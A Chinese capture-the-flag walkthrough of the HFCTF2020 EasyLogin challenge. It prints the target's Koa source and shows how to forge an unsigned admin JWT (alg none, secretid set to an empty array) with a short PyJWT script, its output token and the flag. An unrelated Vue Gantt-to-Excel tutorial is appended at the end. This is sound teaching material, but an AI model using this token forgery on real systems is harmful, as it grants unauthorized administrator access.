BUUCTF---[HFCTF2020]EasyLogin保姆级详解。

 

题目链接: BUUCTF在线评测

考点

分析

下面是修改前后这些值的注意事项:


题目链接: BUUCTF在线评测

考点:

JS代码审计

jwt漏洞破解

分析:

打开题目,给了个登录框

 

 没发现什么可以利用的,查看源代码,点击康康:

 

 

 分析可知,该题采用了koa框架,在getflag函数里发现有个/api/flag,应该是有返回flag的函数。

接着的话先附上koa项目的文件框架:

 按照koa框架的常见结构去获取下控制器文件的源码。

/controllers/api.js

访问得到整个题目的源代码:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

重点看看这两个函数,一个是生成jwt的,另一个是返回flag的。

 

 注意到/apu/flag路径校验为admin用户时才会返回flag,而登录验证方式采用的是JWT,所以可以尝试对JWT进行破解修改。,并且生成JWT是用HS256加密,可以把它改为none来进行破解。标题中的alg字段更改为none,有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。 此外对于本题中验证采用的密匙secret值也需要为空或者undefined否则还是会触发验证,所以将JWT中secretid项修改为[]

综上所述,一共要修改三个地方:

第一个是username,修改为admin

第二个是alog,修改为none

第三个是secretid,修改为[]

下面是修改前后这些值的注意事项:

首先,要获取自己的jwt值,需要用burpsuite登录抓包,如下图:

 然后复制authorization后面的内容,也就是你自己的jwt,放到JSON Web Tokens - jwt.io,查看各个值:

 按照刚刚要修改的三个值修改,由于要修改alg为none,在网页上无法直接获取新的jwt,所以用python脚本生成,在此之前先用pip安装好生成jwt的库:PyJWT库。

脚本如下:

 值得注意的是这里的iat,是要用你自己在burpsuite里拿到的jwt里的iat值。运行得到新的jwt值。

import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123456",
  "iat": 1662825424
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY2MjgyNTQyNH0.

返回burpsuite:

 确定username为admin,且jwt为新生成的jwt后,放包,回到浏览器,访问

/api/flag

拿到flag:

 

flag{b5f20dce-277f-4004-8c99-161af08272b2}

到这里该题就解到这里了,这里附上一道也是jwt类型的题目:

[2019 CISCN ]华北赛区 Day1 Web2:BUUCTF在线评测,题目是关于ikun的噢。

写的一般,见谅!不懂的欢迎私信!

谢谢点赞!

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当涉及到 Vue DHTMLX-Gantt 导出 Excel 的保姆级完整教程时,以下是一步一步的指南: 1. 确保您的项目中已经安装了 Vue 和 DHTMLX-Gantt。如果尚未安装,请使用以下命令进行安装: ```bash npm install vue dhtmlx-gantt ``` 2. 在您的 Vue 组件中引入所需的库和样式: ```javascript import 'dhtmlx-gantt'; import 'dhtmlx-gantt/codebase/dhtmlxgantt.css'; ``` 3. 创建一个 Vue 组件,并在模板中添加一个 Gantt 图表和一个按钮: ```html <template> <div ref="ganttContainer" style="width: 100%; height: 600px;"></div> <button @click="exportData">导出 Excel</button> </template> <script> import * as XLSX from 'xlsx'; import FileSaver from 'file-saver'; export default { mounted() { const ganttContainer = this.$refs.ganttContainer; gantt.init(ganttContainer); // 设置 Gantt 图表的配置和数据 // 示例数据 const tasks = [ { id: 1, text: '任务1', start_date: '2022-01-01', duration: 5, progress: 0.5 }, { id: 2, text: '任务2', start_date: '2022-01-06', duration: 4, progress: 0.2 }, // 其他任务... ]; gantt.parse({ data: tasks }); }, methods: { exportData() { const gantt = this.$refs.ganttContainer.$gantt; const tasks = gantt.getDatastore('task').getItems(); // 将任务数据转换为 Excel 数据格式 const data = tasks.map((task) => { return { id: task.id, text: task.text, start_date: task.start_date, duration: task.duration, progress: task.progress, }; }); // 创建 Excel 文件 const worksheet = XLSX.utils.json_to_sheet(data); const workbook = XLSX.utils.book_new(); XLSX.utils.book_append_sheet(workbook, worksheet, 'Gantt Data'); const excelBuffer = XLSX.write(workbook, { bookType: 'xlsx', type: 'array' }); const excelData = new Blob([excelBuffer], { type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' }); // 下载 Excel 文件 FileSaver.saveAs(excelData, 'gantt_data.xlsx'); }, }, }; </script> <style> /* 可选的样式 */ </style> ``` 4. 在上述示例代码中,需要注意以下部分: - 在 `mounted` 钩子中,使用 `gantt.init(ganttContainer)` 初始化 Gantt 图表,并根据您的需求设置其配置和数据。 - `exportData` 方法用于将 Gantt 图表数据导出到 Excel。确保在 `exportData` 方法中的 `this.$refs.ganttContainer.$gantt` 是对 Gantt 图表组件的正确引用。 - 点击 "导出 Excel" 按钮时,将会生成一个名为 `gantt_data.xlsx` 的 Excel 文件,其中包含了 Gantt 图表的数据。 这就是使用 Vue DHTMLX-Gantt 导出 Excel 的保姆级完整教程。希望对您有所帮助!如果您有任何其他问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值